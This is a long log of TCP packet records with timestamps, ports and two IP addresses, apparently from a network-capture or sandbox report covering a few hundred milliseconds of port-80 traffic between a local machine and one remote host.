Oct 23, 2024 15:49:13.271226883 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.271673918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.271723986 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.302877903 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.302905083 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.302916050 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.302969933 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.303002119 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.303014040 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.303054094 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.303101063 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.303112984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.303128004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.303138971 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.303139925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.303152084 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.303159952 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.303164005 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.303172112 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.303198099 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.303206921 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.303241968 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.303272009 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.303283930 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.303343058 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.303370953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.303381920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.303421974 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.313565016 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313595057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313613892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313623905 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313636065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313647985 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313661098 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313663960 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.313693047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.313708067 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.313747883 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313760996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313771009 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313781977 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313788891 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.313802958 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.313834906 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.313860893 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313873053 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313884020 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313893080 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.313900948 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.313911915 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.313936949 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314004898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314016104 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314029932 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314040899 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314053059 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314064980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314069033 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314085960 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314091921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314102888 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314105034 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314120054 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314131975 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314146042 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314166069 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314224958 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314237118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314248085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314259052 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314266920 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314270973 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314284086 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314290047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314295053 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314316034 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314330101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314573050 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314584970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314594984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314623117 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314646006 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314654112 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314666033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314676046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314687967 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314698935 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314707994 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314713955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314724922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314733982 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314737082 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314749956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314762115 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.314786911 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314786911 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.314800978 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.315200090 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.315212011 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.315222979 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.315251112 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.315256119 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.315268040 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.315274954 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.315299988 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.315320969 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.315408945 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.315421104 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.315459967 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.315552950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.315565109 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.315581083 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.315634966 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.315634966 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.332567930 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.332627058 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.332685947 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.332720041 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.332742929 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.332765102 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.338989019 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.339024067 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.339046955 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.339057922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.339061975 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.339111090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.353826046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.353837967 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.353848934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.353878975 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.353909016 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.386123896 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.386147022 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.386157990 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.386217117 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.386256933 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.418486118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418581009 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.418689013 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418699026 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418749094 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418759108 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418760061 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.418771029 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418787956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418796062 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.418797970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418808937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418821096 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418828964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.418831110 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418843985 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418864012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.418896914 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.418960094 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.418993950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.419028044 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.419028044 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.419058084 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.419070959 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.428956032 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.428967953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.428978920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429033995 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429049969 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429064035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429068089 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429080963 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429092884 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429095030 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429106951 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429128885 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429187059 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429222107 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429239035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429256916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429265022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429291964 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429315090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429330111 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429336071 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429366112 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429387093 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429404020 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429435968 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429487944 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429500103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429522991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429553032 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429562092 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429575920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429609060 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429627895 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429642916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429661036 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429691076 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429795027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429847002 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429847002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429883957 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429899931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429917097 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429948092 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429951906 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429959059 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.429985046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.429999113 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430020094 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430037022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430048943 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430063963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430099964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430161953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430195093 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430216074 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430229902 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430244923 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430247068 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430263996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430268049 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430274963 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430283070 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430286884 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430299044 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430305958 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430310011 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430321932 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430332899 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430334091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430383921 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430383921 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430659056 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430670023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430680037 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430716991 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430727959 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430738926 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430741072 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430751085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430762053 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430771112 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430787086 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430793047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430795908 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430808067 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430819035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430826902 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430830956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.430850029 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.430871010 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.431143999 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.431197882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.431204081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.431214094 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.431246996 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.431263924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.434490919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.434550047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.434556961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.434561968 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.434590101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.434606075 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.434621096 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.434633017 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.434643984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.434668064 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.434698105 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.448224068 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.448306084 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.448339939 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.448343992 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.448359013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.448381901 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.454366922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.454400063 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.454433918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.454444885 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.454444885 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.454474926 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.469672918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.469758987 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.469793081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.469964027 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.469964027 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.501625061 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.501741886 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.501832962 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.501909018 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.501938105 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.501941919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.501961946 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.501991987 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534156084 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534389973 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534449100 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534467936 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534501076 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534506083 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534513950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534526110 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534531116 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534540892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534553051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534554005 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534586906 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534604073 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534621954 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534630060 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534657001 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534681082 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534692049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534694910 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534727097 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534746885 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534761906 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534771919 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534796000 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534806967 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534833908 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.534840107 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.534879923 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.544687033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544715881 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544728994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544770956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544784069 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544792891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544802904 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544811964 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544831991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544843912 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544852972 CEST	80	49967	185.215.113.16	192.168.2.5
